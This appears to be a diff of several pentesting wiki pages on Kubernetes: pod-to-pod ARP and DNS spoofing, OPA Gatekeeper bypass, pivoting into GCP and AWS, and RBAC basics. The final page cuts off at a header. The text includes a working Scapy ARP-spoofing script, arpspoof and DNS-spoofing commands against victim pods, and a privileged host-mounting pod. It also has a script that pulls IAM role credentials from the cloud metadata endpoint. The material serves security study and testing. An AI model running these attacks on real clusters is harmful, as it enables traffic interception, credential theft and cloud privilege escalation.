In the scenario 4 machines are going to be created:
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
- **ubuntu-attack**: **Malicious** container in default namespace
- **ubuntu-victim**: **Victim** machine in kube-system namespace
- **mysql**: **Victim** machine in default namespace
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
```
```bash
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Basic Kubernetes Networking
If you want more details about the networking topics introduced here, go to the references.
### ARP
Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
> [!WARNING]
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
### DNS
In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
```bash
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
If you check the DNS address inside any pod you will find something like this:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
> [!WARNING]
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
>
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
>
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
## ARP Spoofing in pods in the same Node
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
### Scapy
```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
```
```python:arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
### ARPSpoof
```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
```
cat hosts
google.com. 1.1.1.1
```
Perform the attack to the ubuntu-victim machine:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
```
```bash
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
## Capturing Traffic
The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).
## References
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
{{#include ../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md
+76
View File
@@ -0,0 +1,76 @@
# Kubernetes - OPA Gatekeeper
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definition
Open Policy Agent (OPA) Gatekeeper is a tool used to enforce admission policies in Kubernetes. These policies are defined using Rego, a policy language provided by OPA. Below is a basic example of a policy definition using OPA Gatekeeper:
```rego
regoCopy codepackage k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
required := {label | label := input.parameters.labels[label]}
missing := required - provided
count(missing) > 0
msg := sprintf("Required labels missing: %v", [missing])
}
default allow = false
```
This Rego policy checks if certain labels are present on Kubernetes resources. If the required labels are missing, it returns a violation message. This policy can be used to ensure that all resources deployed in the cluster have specific labels.
## Apply Constraint
To use this policy with OPA Gatekeeper, you would define a **ConstraintTemplate** and a **Constraint** in Kubernetes:
```yaml
apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
name: k8srequiredlabels
spec:
crd:
spec:
names:
kind: K8sRequiredLabels
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
required := {label | label := input.parameters.labels[label]}
missing := required - provided
count(missing) > 0
msg := sprintf("Required labels missing: %v", [missing])
}
default allow = false
```
```yaml
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sRequiredLabels
metadata:
name: ensure-pod-has-label
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
parameters:
labels:
requiredLabel1: "true"
requiredLabel2: "true"
```
In this YAML example, we define a **ConstraintTemplate** to require labels. Then, we name this constraint `ensure-pod-has-label`, which references the `k8srequiredlabels` ConstraintTemplate and specifies the required labels.
When Gatekeeper is deployed in the Kubernetes cluster, it will enforce this policy, preventing the creation of pods that do not have the specified labels.
## References
* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
+63
View File
@@ -0,0 +1,63 @@
# Kubernetes OPA Gatekeeper bypass
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Abusing misconfiguration
### Enumerate rules
Having an overview may help to know which rules are active, on which mode and who can bypass it.
#### With the CLI
```bash
$ kubectl api-resources | grep gatekeeper
k8smandatoryannotations constraints.gatekeeper.sh/v1beta1 false K8sMandatoryAnnotations
k8smandatorylabels constraints.gatekeeper.sh/v1beta1 false K8sMandatoryLabel
constrainttemplates templates.gatekeeper.sh/v1 false ConstraintTemplate
```
**ConstraintTemplate** and **Constraint** can be used in Open Policy Agent (OPA) Gatekeeper to enforce rules on Kubernetes resources.
```bash
$ kubectl get constrainttemplates
$ kubectl get k8smandatorylabels
```
#### With the GUI
A Graphic User Interface may also be available to access the OPA rules with **Gatekeeper Policy Manager.** It is "a simple _read-only_ web UI for viewing OPA Gatekeeper policies' status in a Kubernetes Cluster."
<figure><img src="../../../images/05-constraints.png" alt=""><figcaption></figcaption></figure>
Search for the exposed service :
```bash
$ kubectl get services -A | grep gatekeeper
$ kubectl get services -A | grep 'gatekeeper-policy-manager-system'
```
### Excluded namespaces
As illustrated in the image above, certain rules may not be applied universally across all namespaces or users. Instead, they operate on a whitelist basis. For instance, the `liveness-probe` constraint is excluded from applying to the five specified namespaces.
### Bypass
With a comprehensive overview of the Gatekeeper configuration, it's possible to identify potential misconfigurations that could be exploited to gain privileges. Look for whitelisted or excluded namespaces where the rule doesn't apply, and then carry out your attack there.
{{#ref}}
../abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
## Abusing ValidatingWebhookConfiguration
Another way to bypass constraints is to focus on the ValidatingWebhookConfiguration resource :&#x20;
{{#ref}}
../kubernetes-validatingwebhookconfiguration.md
{{#endref}}
## References
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager)
src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
+323
View File
@@ -0,0 +1,323 @@
# Kubernetes Pivoting to Clouds
{{#include ../../banners/hacktricks-training.md}}
## GCP
If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:
### Mounting GCP-SA keys as secret
A common way to give **access to a kubernetes application to GCP** is to:
- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
> [!WARNING]
> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials.
### Relating GSA json to KSA secret
A way to give access to a GSA to a GKE cluser is by binding them in this way:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
```bash
Copy codekubectl create serviceaccount <service-account-name>
```
- Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the `gcloud` command-line tool, as shown in the following example:
```bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- Bind the Kubernetes Secret to the Kubernetes service account using the following command:
```bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> In the **second step** it was set the **credentials of the GSA as secret of the KSA**. Then, if you can **read that secret** from **inside** the **GKE** cluster, you can **escalate to that GCP service account**.
### GKE Workload Identity
With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
- **Enable Workload Identity** on a new cluster
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Create/Update a new nodepool** (Autopilot clusters don't need this)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Create the **GCP Service Account to impersonate** from K8s with GCP permissions:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Connect** to the **cluster** and **create** the **service account** to use
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Bind the GSA with the KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Run a **pod** with the **KSA** and check the **access** to **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Check the following command to authenticate in case needed:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\
> From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**.
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
```
## AWS
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.
First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:
```yaml:Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
```
```yaml:Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
#### Create Pod with IAM Role
> [!NOTE]
> The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
This is the **recommended way by AWS**.
1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Then you create an IAM role with the permissions the SA will require.
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
To **get aws using the token** from `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` run:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
>
> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**
> [!CAUTION]
> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
>
> Check the **following page for more information**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Find Pods a SAs with IAM Roles in the Cluster
This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role
The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have a new IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
There is however an important requirement to access the metadata endpoint from the node, you need to be in the node (ssh session?) or at least have the same network:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Steal IAM Role Token
Previously we have discussed how to **attach IAM Roles to Pods** or even how to **escape to the Node to steal the IAM Role** the instance has attached to it.
You can use the following script to **steal** your new hard worked **IAM role credentials**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
```
## References
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
{{#include ../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md
+165
View File
@@ -0,0 +1,165 @@
# Kubernetes Role-Based Access Control(RBAC)
{{#include ../../banners/hacktricks-training.md}}
## Role-Based Access Control (RBAC)
Kubernetes has an **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that helps to set utilization permissions to the API server.
RBAC’s permission model is built from **three individual parts**:
1. **Role\ClusterRole ­–** The actual permission. It contains _**rules**_ that represent a set of permissions. Each rule contains [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) and [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). The verb is the action that will apply on the resource.
2. **Subject (User, Group or ServiceAccount) –** The object that will receive the permissions.
3. **RoleBinding\ClusterRoleBinding –** The connection between Role\ClusterRole and the subject.
![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
The difference between “**Roles**” and “**ClusterRoles**” is just where the role will be applied – a “**Role**” will grant access to only **one** **specific** **namespace**, while a “**ClusterRole**” can be used in **all namespaces** in the cluster. Moreover, **ClusterRoles** can also grant access to:
- **cluster-scoped** resources (like nodes).
- **non-resource** endpoints (like /healthz).
- namespaced resources (like Pods), **across all namespaces**.
From **Kubernetes** 1.6 onwards, **RBAC** policies are **enabled by default**. But to enable RBAC you can use something like:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
## Templates
In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role:
- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
- The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true`
- The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource.
### Rules Verbs
(_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb))
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `use` verb on `podsecuritypolicies` resources in the `policy` API group.
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
> [!WARNING]
> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
### Examples
```yaml:Role
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: defaultGreen
name: pod-and-pod-logs-reader
rules:
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list", "watch"]
```
```yaml:ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
# "namespace" omitted since ClusterRoles are not namespaced
name: secret-reader
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
For example you can use a **ClusterRole** to allow a particular user to run:
```
kubectl get pods --all-namespaces
```
### **RoleBinding and ClusterRoleBinding**
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding grants the permissions defined in a role to a user or set of users**. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**.
```yaml:RoleBinding
piVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
# You need to already have a Role named "pod-reader" in that namespace.
kind: RoleBinding
metadata:
name: read-pods
namespace: default
subjects:
# You can specify more than one "subject"
- kind: User
name: jane # "name" is case sensitive
apiGroup: rbac.authorization.k8s.io
roleRef:
# "roleRef" specifies the binding to a Role / ClusterRole
kind: Role #this must be Role or ClusterRole
name: pod-reader # this must match the name of the Role or ClusterRole you wish to bind to
apiGroup: rbac.authorization.k8s.io
```
```yaml:ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# This cluster role binding allows anyone in the "manager" group to read secrets in any namespace.
kind: ClusterRoleBinding
metadata:
name: read-secrets-global
subjects:
- kind: Group
name: manager # Name is case sensitive
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.**
## **Enumerating RBAC**
```bash
# Get current privileges
kubectl auth can-i --list
# use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account
# List Cluster Roles
kubectl get clusterroles
kubectl describe clusterroles
# List Cluster Roles Bindings
kubectl get clusterrolebindings
kubectl describe clusterrolebindings
# List Roles
kubectl get roles
kubectl describe roles
# List Roles Bindings
kubectl get rolebindings
kubectl describe rolebindings
```
### Abuse Role/ClusterRoles for Privilege Escalation
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
+102
View File
@@ -0,0 +1,102 @@
# Kubernetes ValidatingWebhookConfiguration
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definition
